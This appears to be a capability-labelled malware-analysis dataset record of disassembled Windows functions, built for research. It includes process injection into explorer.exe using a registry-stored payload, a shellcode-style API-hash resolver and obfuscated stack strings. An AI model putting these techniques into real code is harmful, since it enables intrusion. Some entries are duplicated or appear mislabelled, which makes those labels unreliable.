joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b2b0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000b312
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000ae80
test al, al
jne 0x14000b324
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000b2e0
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x6c
mov dword [rbp - 0x20], 0x3d000f
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x29005b
mov dword [rbp - 0x18], 0x230020
mov dword [rbp - 0x14], 0x240036
mov dword [rbp - 0x10], 0x35003e
call fcn.140004fd0
mov rcx, rax
call 0x14000b2b0
mov ebx, 0x6d
mov qword [0x1400171b8], rax
lea rcx, [rbp - 0x20]
mov word [rbp - 0x10], bx
mov dword [rbp - 0x20], 0x3d000f
mov dword [rbp - 0x1c], 0x29005b
mov dword [rbp - 0x18], 0x230020
mov dword [rbp - 0x14], 0x570047
call fcn.1400022a0
mov rcx, rax
call 0x14000b2b0
lea rcx, [rbp - 0x20]
mov qword [0x1400171a8], rax
mov dword [rbp - 0x20], 0xc002a
mov dword [rbp - 0x1c], 0xb006d
mov dword [rbp - 0x18], 0x6f0009
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000b2b0
Function at 0x14000ca80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000b312
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000ae80
test al, al
jne 0x14000b324
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000b2e0
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x6c
mov dword [rbp - 0x20], 0x3d000f
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x29005b
mov dword [rbp - 0x18], 0x230020
mov dword [rbp - 0x14], 0x240036
mov dword [rbp - 0x10], 0x35003e
call fcn.140004fd0
mov rcx, rax
call 0x14000b2b0
mov ebx, 0x6d
mov qword [0x1400171b8], rax
lea rcx, [rbp - 0x20]
mov word [rbp - 0x10], bx
mov dword [rbp - 0x20], 0x3d000f
mov dword [rbp - 0x1c], 0x29005b
mov dword [rbp - 0x18], 0x230020
mov dword [rbp - 0x14], 0x570047
call fcn.1400022a0
mov rcx, rax
call 0x14000b2b0
lea rcx, [rbp - 0x20]
mov qword [0x1400171a8], rax
mov dword [rbp - 0x20], 0xc002a
mov dword [rbp - 0x1c], 0xb006d
mov dword [rbp - 0x18], 0x6f0009
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000b2b0
Function at 0x14000edc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, qword [0x1400171c0]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x100017
mov dword [rbp - 0x1c], 0xb006c
mov dword [rbp - 0x18], 0x5c0009
mov dword [rbp - 0x14], 0x4b0046
mov dword [rbp - 0x10], 0x1c0009
mov dword [rbp - 0xc], 0x610000
call fcn.1400029c0
mov rcx, rax
call rbx
mov rbx, qword [0x1400171c0]
lea rcx, [rbp - 0x20]
mov qword [0x1400171a0], rax
mov dword [rbp - 0x20], 0x110013
mov dword [rbp - 0x1c], 0xe0067
mov dword [rbp - 0x18], 0xa000b
mov dword [rbp - 0x14], 0x4b0000
mov dword [rbp - 0x10], 0x1c0009
mov dword [rbp - 0xc], 0x610000
call fcn.1400029c0
mov rcx, rax
call rbx
movdqa xmm0, xmmword [0x140016200]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140017130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400171b0], rax
mov word [rbp - 0x10], 0x3a17
mov byte [rbp - 0xe], 0x61
call fcn.140004620
mov rcx, qword [0x1400171a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140017130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0xb6c1017
mov dword [rbp - 0x1c], 0xc2a09
mov dword [rbp - 0x18], 0x418050e
mov word [rbp - 0x14], 0x6523
call fcn.140001180
mov rcx, qword [0x1400171a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140017130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x27d160d
mov dword [rbp - 0x1c], 0x11110117
mov dword [rbp - 0x18], 0xf090022
mov word [rbp - 0x14], 0x6535
call fcn.140001180
mov rcx, qword [0x1400171b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016120]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140017130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400170e8], rax
mov byte [rbp - 0x10], 0x61
call fcn.140004330
mov rcx, qword [0x1400171b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400161a0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140017130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400170f0], rax
mov dword [rbp - 0x10], 0x74040105
call fcn.140002660
mov rcx, qword [0x1400171b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400161f0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140017130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400170e0], rax
mov byte [rbp - 0x10], 0x61
call fcn.140004330
mov rcx, qword [0x1400171b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016210]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140017130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400170d8], rax
mov dword [rbp - 0x10], 0x350f0208
mov byte [rbp - 0xc], 0x65
call fcn.140003130
mov rcx, qword [0x1400171b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140016190]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140017130]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x2c0f
mov byte [rbp - 0xe], 0x61
call fcn.140004620
mov rcx, qword [0x1400171b0]
mov rdx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rbp
jmp rax
Function at 0x40872a
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.00408789
mov ecx, eax
add rsp, 0x28
jmp sub.KERNEL32.dll_TlsGetValue

Function at 0x40875d
Capabilities:
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rdx
call fcn.00408789
mov ecx, eax
mov rdx, rsi
add rsp, 0x20
pop rsi
jmp sub.KERNEL32.dll_TlsSetValue

Function at 0x408789
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov edi, dword [rcx + 0x18]
test edi, edi
je 0x4087a3
dec edi
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rsi, rcx
cmp qword [rcx], 0
je 0x408813
lea r8, [rsp + 0x2c]
and dword [r8], 0
lea rbx, [rsi + 0x10]
mov rcx, rbx
xor edx, edx
xor r9d, r9d
call sub.KERNEL32.dll_InitOnceBeginInitialize
cmp eax, 1
jne 0x40885a
cmp dword [rsp + 0x2c], 0
je 0x408842
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40884a
mov edi, eax
inc eax
mov dword [rsi + 0x18], eax
mov rax, qword [0x004100a0]
mov qword [rsi + 8], rax
lock cmpxchg qword [0x004100a0], rsi
jne 0x4087ee
mov byte [0x00410098], 1
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
jmp 0x408799
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40885a
mov edi, eax
mov ecx, eax
inc ecx
xor eax, eax
lock cmpxchg dword [rsi + 0x18], ecx
je 0x408799
mov esi, eax
mov ecx, edi
call sub.KERNEL32.dll_TlsFree
dec esi
mov edi, esi
jmp 0x408799
mov edi, dword [rsi + 0x18]
jmp 0x408797
mov rcx, rbx
mov edx, 4
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
ud2
Function at 0x409f90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x004106c4]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x40a0b0
mov rax, qword [0x004106c8]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x409fdc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x40a096
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x409fc0
mov rcx, rsi
call fcn.0040abd0
test rax, rax
mov r12, rax
je 0x40a0e8
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x004106c8]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.0040ad20
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x004106c8]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40a0cb
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40a08f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40a08f
add rbx, qword [0x004106c8]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40a0b7
add dword [0x004106c4], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.ntdll.dll_memcpy
xor ebx, ebx
jmp 0x409fe7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00409f20
mov rax, qword [0x004106c8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00409f20
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00409f20
nop
nop dword [rax + rax]

Function at 0x40a840
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004109a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00410980]
test rbx, rbx
je 0x40a894
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40a88b
test rsi, rsi
je 0x40a88b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40a870
lea rcx, [0x004109a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40abd0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x0040d0d0]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x40abf0
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.0040aab0
test eax, eax
je 0x40abe8
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40ac4d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x40ac44
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x40abe8
add rdx, 0x28
cmp rdx, r9
jne 0x40ac30
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000105c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.180001558
lea rdx, str.Failed_to_create_process_snapshot:__d_n
lea rcx, [rax + 0x60]
mov r8d, edi
call fcn.18000176c
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x160], rbp
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800010b5
mov qword [rsp + 0x168], rsi
lea rsi, str.explorer.exe
lea rdi, [rsp + 0x4c]
mov ecx, 0xd
repe cmpsb byte [rsi], byte [rdi]
je 0x1800010a9
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001080
jmp 0x1800010ad
mov ebp, dword [rsp + 0x28]
mov rsi, qword [rsp + 0x168]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x170]
mov eax, ebp
mov rbp, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret

Function at 0x1800010e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
sub rsp, 0x48
lea rax, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180001213
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
xor ebp, ebp
mov qword [rsp + 0x28], rax
lea rdx, str.qweasd123zxc
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x60], ebp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180001213
mov ecx, dword [rsp + 0x60]
call fcn.1800014a0
mov rcx, qword [rsp + 0x68]
lea rdx, str.qweasd123zxc
mov rsi, rax
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180001213
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x40], rdi
call fcn.180001000
lea edx, [rbp + 1]
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x60]
mov r8, rsi
mov rcx, rdi
mov rdx, rax
mov rbx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x70]
add rsp, 0x48
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.180001d14
int3

Function at 0x180001d14
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.180001b84
Function at 0x180005fb8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x180017850]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180004f30
xor ebx, ebx
cmp qword [0x180018d38], rbx
mov rdi, rax
jne 0x1800060cb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1800061a2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800061a2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180018d38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180018d40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180018d48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180018d58], rax
test rax, rax
je 0x1800060c2
lea rdx, [0x180012fd0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180018d50], rax
jmp 0x1800060d2
mov rax, qword [0x180018d50]
jmp 0x1800060d9
mov rax, qword [0x180018d50]
mov r11, qword [0x180018d58]
cmp rax, rdi
je 0x180006140
cmp r11, rdi
je 0x180006140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180018d58]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180006140
test rax, rax
je 0x180006140
call rsi
test rax, rax
je 0x18000613a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000613a
test byte [rsp + 0x40], 1
jne 0x180006140
bts ebp, 0x15
jmp 0x180006180
mov rcx, qword [0x180018d40]
cmp rcx, rdi
je 0x180006180
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006180
call rax
mov rbx, rax
test rax, rax
je 0x180006180
mov rcx, qword [0x180018d48]
cmp rcx, rdi
je 0x180006180
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180006180
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180018d38]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800061a2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1800061a4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180006400
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000b0ab
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180017850]
jne 0x18000641a
rol rcx, 0x10
test cx, 0xffff
jne 0x180006416
repz ret
ror rcx, 0x10
jmp 0x18000b004
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180018e30]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180018f28]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18000b089
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180018e30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000b0ab
mov rax, qword [rsp + 0x88]
mov qword [0x180018f28], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180018ec8], rax
mov rax, qword [0x180018f28]
mov qword [0x180018da0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180018eb0], rax
mov dword [0x180018d90], 0xc0000409
mov dword [0x180018d94], 1
mov rax, qword [0x180017850]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180017858]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180018e28], eax
mov ecx, 1
call fcn.180008574
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180013470]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180018e28], 0
jne 0x18000b132
mov ecx, 1
call fcn.180008574
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
add esp, 0xfffff254
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040dc
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rcx
mov rdx, qword [rdx + 0x20]
push rsi
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x14000403d
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x140004033
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
push r9
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040d1
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040d1
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040d0
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004087
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004078
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
pop rcx
add rax, rdx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004027
Function at 0x14003e3d4
Capabilities:
Parse pe header

Disassembly:
jmp 0x14008a5b0
xor r8d, r8d
xor edx, edx
jmp 0x14008a2a0
Function at 0x14003f2b6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1400b9140
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x1400dc008]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0xa0]
lea r10, [0x1400df198]
xor r11d, r11d
lea rdi, [0x1400c64d4]
test r9, r9
mov rax, rdx
mov r12, rdx
cmovne r10, r9
test rdx, rdx
lea ebp, [r11 + 1]
cmovne rdi, rdx
mov r15d, ebp
cmovne r15, r8
neg rax
sbb r14, r14
and r14, rcx
test r15, r15
jne 0x1400b91b0
mov rax, 0xfffffffffffffffe
jmp 0x1400b92fd
cmp word [r10 + 6], r11w
jne 0x1400b921f
movzx r9d, byte [rdi]
inc rdi
test r9b, r9b
js 0x1400b91da
test r14, r14
je 0x1400b91cb
mov dword [r14], r9d
test r9b, r9b
setne r11b
mov rax, r11
jmp 0x1400b92fd
mov al, r9b
and al, 0xe0
cmp al, 0xc0
jne 0x1400b91e8
mov r8b, 2
jmp 0x1400b9206
mov al, r9b
and al, 0xf0
cmp al, 0xe0
jne 0x1400b91f6
mov r8b, 3
jmp 0x1400b9206
mov al, r9b
and al, 0xf8
cmp al, 0xf0
jne 0x1400b92f2
mov r8b, 4
movzx eax, r8b
mov ecx, 7
sub ecx, eax
mov edx, ebp
shl edx, cl
mov bl, r8b
sub edx, ebp
and edx, r9d
jmp 0x1400b9248
mov r8b, byte [r10 + 4]
mov edx, dword [r10]
mov bl, byte [r10 + 6]
lea eax, [r8 - 2]
cmp al, 2
ja 0x1400b92f2
cmp bl, bpl
jb 0x1400b92f2
cmp bl, r8b
jae 0x1400b92f2
movzx ebp, bl
cmp rbp, r15
mov r9d, ebp
cmovae r9, r15
jmp 0x1400b9275
movzx ecx, byte [rdi]
inc rdi
mov al, cl
and al, 0xc0
cmp al, 0x80
jne 0x1400b92f2
mov eax, edx
and ecx, 0x3f
shl eax, 6
mov edx, ecx
or edx, eax
mov rax, rdi
sub rax, r12
cmp rax, r9
jb 0x1400b9257
cmp r9, rbp
jae 0x1400b92a1
movzx eax, r8b
sub bl, r9b
mov word [r10 + 4], ax
movzx eax, bl
mov word [r10 + 6], ax
mov dword [r10], edx
jmp 0x1400b91a4
lea eax, [rdx - 0xd800]
cmp eax, 0x7ff
jbe 0x1400b92f2
cmp edx, 0x110000
jae 0x1400b92f2
movzx eax, r8b
mov dword [rsp + 0x20], 0x80
mov dword [rsp + 0x24], 0x800
mov dword [rsp + 0x28], 0x10000
cmp edx, dword [rsp + rax*4 + 0x18]
jb 0x1400b92f2
test r14, r14
je 0x1400b92e0
mov dword [r14], edx
neg edx
mov rdx, r10
sbb rcx, rcx
and rcx, rbp
call fcn.140040d50
jmp 0x1400b92fd
mov rdx, rsi
mov rcx, r10
call fcn.140041421
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14003f7b1
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14003f306
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140046b50
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140046bdd
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140046bdd
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140046bdd
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
